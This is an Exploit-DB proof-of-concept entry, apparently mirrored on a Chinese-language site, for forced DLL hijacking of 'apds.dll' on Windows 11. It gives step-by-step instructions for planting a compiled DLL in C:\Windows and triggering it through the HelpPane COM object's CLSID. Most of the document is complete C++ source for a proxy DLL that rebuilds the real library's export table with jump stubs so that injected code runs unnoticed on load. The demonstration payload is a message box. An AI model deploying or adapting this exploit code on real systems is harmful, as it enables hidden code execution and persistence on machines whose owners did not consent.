Microsoft Windows 11 – ‘apds.dll’ DLL hijacking (Forced)

  • 作者: Moein Shahabi
    日期: 2023-10-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51733/
  •  #---------------------------------------------------------
    # Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
    # Date: 2023-09-01
    # Author: Moein Shahabi
    # Vendor: https://www.microsoft.com
    # Version: Windows 11 Pro 10.0.22621
    # Tested on: Windows 11_x64 [eng]
    
    #---------------------------------------------------------
    
    
    Description:
    
    HelpPane object allows us to force Windows 11 to DLL hijacking 
    
    Instructions:
    
    1. Compile dll
    2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory 
    3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
    4. Boom DLL Hijacked!
    
    
    ------Code_Poc-------
    #pragma once
    #include <Windows.h>
    
    
    
    // Function executed when the thread starts
    extern "C" __declspec(dllexport)
    DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
        MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
        return 0;
    }
    
    PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
    #ifdef _WIN64
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
        PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
    
        // Create some breathing room
        baseAddress = baseAddress + optionalHeader->SizeOfImage;
    
        for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
            PBYTE usuable = (PBYTE)VirtualAlloc(
                offset,
                size,
                MEM_RESERVE | MEM_COMMIT,
                protection);
    
            if (usuable) {
                ZeroMemory(usuable, size); // Not sure if this is required
                return usuable;
            }
        }
    #else
        // x86 doesn't matter where we allocate
    
        PBYTE usuable = (PBYTE)VirtualAlloc(
            NULL,
            size,
            MEM_RESERVE | MEM_COMMIT,
            protection);
    
        if (usuable) {
            ZeroMemory(usuable, size);
            return usuable;
        }
    #endif
        return 0;
    }
    
    BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
    {
    #ifdef _WIN64
        BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
        BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
    #else
        BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
        BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
    #endif
    
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
        PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
        PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
        if (exportDataDirectory->Size == 0)
            return FALSE; // Nothing to forward
    
        PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);
    
        if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
            return FALSE; // TODO: Add support for DLLs with mixed ordinals
    
        dosHeader = (PIMAGE_DOS_HEADER)ourBase;
        ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
        optionalHeader = &ntHeaders->OptionalHeader;
        exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
        if (exportDataDirectory->Size == 0)
            return FALSE; // Our DLL is broken
    
        PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);
    
        // ----------------------------------
    
        // Make current header data RW for redirections
        DWORD oldProtect = 0;
        if (!VirtualProtect(
            ourExportDirectory,
            64, PAGE_READWRITE,
            &oldProtect)) {
            return FALSE;
        }
    
        DWORD totalAllocationSize = 0;
    
        // Add the size of jumps
        totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));
    
        // Add the size of function table
        totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);
    
        // Add total size of names
        PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
        for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
            totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;
    
        // Add size of name table
        totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);
    
        // Add the size of ordinals:
        totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
    
        // Allocate usuable memory for rebuilt export data
        PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
        if (!exportData)
            return FALSE;
    
        PBYTE sideAllocation = exportData; // Used for VirtualProtect later
    
        // Copy Function Table
        PINT newFunctionTable = (PINT)exportData;
        CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
        exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
        ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);
    
        // Write JMPs and update RVAs in the new function table
        PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
        for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
            newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);
    
            CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
            exportData += sizeof(jmpPrefix);
    
            PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
            CopyMemory(exportData, &realAddress, sizeof(LPVOID));
            exportData += sizeof(LPVOID);
    
            CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
            exportData += sizeof(jmpSuffix);
        }
    
        // Copy Name RVA Table
        PINT newNameTable = (PINT)exportData;
        CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
        exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
        ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);
    
        // Copy names and apply delta to all the RVAs in the new name table
        for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
            PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
            DWORD length = (DWORD)strlen((LPCSTR)realAddress);
            CopyMemory(exportData, realAddress, length);
            newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
            exportData += length + 1;
        }
    
        // Copy Ordinal Table
        PINT newOrdinalTable = (PINT)exportData;
        CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
        exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
        ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);
    
        // Set our counts straight
        ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
        ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;
    
        if (!VirtualProtect(
            ourExportDirectory,
            64, oldProtect,
            &oldProtect)) {
            return FALSE;
        }
    
        if (!VirtualProtect(
            sideAllocation,
            totalAllocationSize,
            PAGE_EXECUTE_READ,
            &oldProtect)) {
            return FALSE;
        }
    
        return TRUE;
    }
    // Executed when the DLL is loaded (traditionally or through reflective injection)
    BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
    )
    {
        HMODULE realDLL;
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
            realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
            if (realDLL)
                ProxyExports(hModule, realDLL);
    
    
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    --------------------------